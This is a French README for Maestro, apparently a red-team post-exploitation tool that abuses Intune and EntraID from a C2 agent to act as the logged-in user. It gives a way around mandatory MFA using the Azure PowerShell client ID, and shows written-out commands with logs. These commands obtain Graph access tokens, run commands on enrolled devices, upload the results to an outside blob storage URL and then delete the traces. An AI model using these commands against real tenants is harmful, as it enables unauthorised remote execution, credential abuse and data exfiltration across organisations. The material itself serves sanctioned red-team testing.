
Abuser des services Azure via C2
Maestro est un outil de post-exploitation conçu pour interagir avec Intune/EntraID depuis un agent C2 sur le poste de travail d'un utilisateur, sans nécessiter la connaissance du mot de passe de l'utilisateur ni des flux d'authentification Azure, de la manipulation de jetons ou de la console d'administration web. Maestro rend l'interaction avec Intune et EntraID (et potentiellement d'autres services Azure) depuis un C2 beaucoup plus facile, car l'opérateur n'a pas besoin d'obtenir le mot de passe en clair de l'utilisateur, d'extraire les cookies de jeton d'actualisation principal (PRT) du système, d'exécuter des outils supplémentaires ou une session navigateur via un proxy SOCKS, ou de gérer les flux d'authentification Azure, les jetons ou les stratégies d'accès conditionnel afin d'exécuter des actions dans Azure au nom de l'utilisateur connecté.
Maestro est essentiellement un wrapper pour les requêtes de cookies PRT locales et les appels à l'API Microsoft Graph, avec de nombreuses fonctionnalités de confort ajoutées pour les red teamers. Maestro ouvre des chemins d'attaque entre l'infrastructure sur site et Azure. Par exemple, en exécutant Maestro sur la machine d'un administrateur Intune, vous pouvez exécuter des scripts PowerShell sur n'importe quel appareil inscrit sans jamais connaître les identifiants de l'administrateur, même si la MFA, la conformité des appareils et un appareil à jonction hybride sont exigés par les stratégies d'accès conditionnel.
Les fonctions de mouvement latéral de Maestro ont été inspirées par Death from Above : Mouvement latéral d'Azure vers l'AD sur site par Andy Robbins (@_wald0).
Vous pouvez en lire plus dans cet article de blog introductif sur Maestro : https://specterops.io/blog/2024/10/31/maestro-abusing-intune-for-lateral-movement-over-c2/
Une version compilée est disponible dans ce dépôt, utilisant la configuration de build ReleasePlusMSAL. Notez que cette configuration fusionne les dépendances MSAL dans le .exe mais augmente considérablement la taille du binaire résultant. Si vous ne prévoyez pas d'utiliser la méthode -m 2 pour demander des jetons d'accès (SharpGetEntraToken via MSAL), vous pouvez compiler une version Release et la taille sera considérablement réduite.
À compter de février 2025, Microsoft déploie l'obligation de MFA pour l'authentification au portail Azure et à ses extensions. La méthode de demande de jeton d'accès par défaut utilisant le flux de code d'autorisation échouera probablement dans ce cas, mais l'utilisation de SharpGetEntraToken/MSAL (option -m 2) et la spécification d'un ID client qui n'exige pas de MFA, comme Azure PowerShell (1950a258-227b-4e31-a9cf-717495945fc2), devraient toujours fonctionner.
Maestro.exe <command> [subcommand] [options]
Toutes les commandes et sous-commandes disposent d'une page d'aide générée à l'aide d'un analyseur de ligne de commande personnalisé afin de maintenir la taille du binaire au minimum. Les pages d'aide sont accessibles en saisissant n'importe quelle commande Maestro suivie de -h ou --help.
Veuillez vous référer à la sortie de l'option --help de chaque commande pour obtenir les informations d'utilisation les plus à jour.
Des exemples se trouvent en bas de ce fichier.
Pour le débogage, je partage un répertoire sur une machine inscrite à Intune accessible depuis ma machine hôte exécutant Visual Studio, j'exécute le débogueur distant Visual Studio, je configure une tâche post-build pour copier les fichiers de la solution vers le partage, et je configure Visual Studio pour le débogage distant sur le système inscrit.
Le temps que je peux consacrer à la recherche, au développement et à l'amélioration de Maestro ne serait pas possible sans le parrainage de SpecterOps pour le projet, dans le cadre de leur engagement en faveur de la transparence et du soutien au développement open source. Je leur suis immensément reconnaissant pour leurs conseils et leur soutien.
Certaines fonctionnalités de Maestro ont été inspirées par ou construites à partir du travail d'autres personnes, notamment :
Si vous êtes intéressé par une collaboration, n'hésitez pas à me contacter sur Twitter (@_Mayyhem) ou sur le Slack BloodHoundGang !
Obtenez un jeton d'accès pour MS Graph en utilisant MSAL et l'ID client Azure PowerShell (pas encore empêché par la MFA obligatoire) :
.\Maestro.exe get access-token -m 2 -t mayyhem.onmicrosoft.com -c 1950a258-227b-4e31-a9cf-717495945fc2 -s https://graph.microsoft.com/.default
2025-02-06 21:09:24.701 UTC - [INFO] Execution started
2025-02-06 21:09:24.810 UTC - [INFO] MSAL DLL loaded and ready for use.
2025-02-06 21:09:24.810 UTC - [INFO] SharpGetEntraToken attempting to get an access token
2025-02-06 21:09:25.857 UTC - [INFO] SharpGetEntraToken got an access token:
eyJ0...tDOg
2025-02-06 21:09:25.982 UTC - [INFO] Completed execution in 00:00:01.3203797
Exécutez dsregcmd.exe sur l'appareil Intune avec l'ID e537180b-6d04-427e-bf93-dbde818400eb, en téléversant les résultats vers l'URL SAS du conteneur d'objets blob Azure Storage avec un jeton d'accès partagé :
.\Maestro.exe exec intune upload -i e537180b-6d04-427e-bf93-dbde818400eb -n MyPolicy --url 'https://maestro2go.blob.core.windows.net/uploads?st=2025-01-14T20:19:57Z&se=2025-01-15T04:19:57Z&si=All&sv=2022-11-02&sr=c&sig=QYri...ZkpA%3D' --commands "%windir%\system32\dsregcmd.exe"
...
2025-01-14 20:20:28.251 UTC - [INFO] Creating new device assignment filter with displayName: d004a709-aae6-4fbf-91cd-48f227272c97
2025-01-14 20:20:28.251 UTC - [INFO] Requesting devices from Intune
2025-01-14 20:20:28.267 UTC - [INFO] Requesting IntuneDevices from Microsoft Graph
2025-01-14 20:20:28.783 UTC - [INFO] Found 1 IntuneDevice matching query in Microsoft Graph
2025-01-14 20:20:29.017 UTC - [INFO] Found 1 devices in filtered results
2025-01-14 20:20:29.361 UTC - [INFO] Obtained filter ID: 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.379 UTC - [INFO] Creating custom config policy for device: e537180b-6d04-427e-bf93-dbde818400eb
2025-01-14 20:20:29.649 UTC - [INFO] Obtained policy ID: fbca5c35-5282-4ec7-87de-a2d16a743079
2025-01-14 20:20:29.680 UTC - [INFO] Assigning policy fbca5c35-5282-4ec7-87de-a2d16a743079 with filter 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.983 UTC - [INFO] Successfully assigned policy with filter
2025-01-14 20:20:29.983 UTC - [INFO] Successfully created and assigned diagnostic logs policy with request ID 651d2244-4ad7-4efe-bb5e-d017b0c27750
2025-01-14 20:20:29.999 UTC - [INFO] Not syncing automatically, execute the following to force device sync:
.\Maestro.exe exec intune sync -i e537180b-6d04-427e-bf93-dbde818400eb
Clean up after execution:
.\Maestro.exe delete intune policy -i fbca5c35-5282-4ec7-87de-a2d16a743079
.\Maestro.exe delete intune filter -i 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.999 UTC - [INFO] Completed execution in 00:00:04.8572902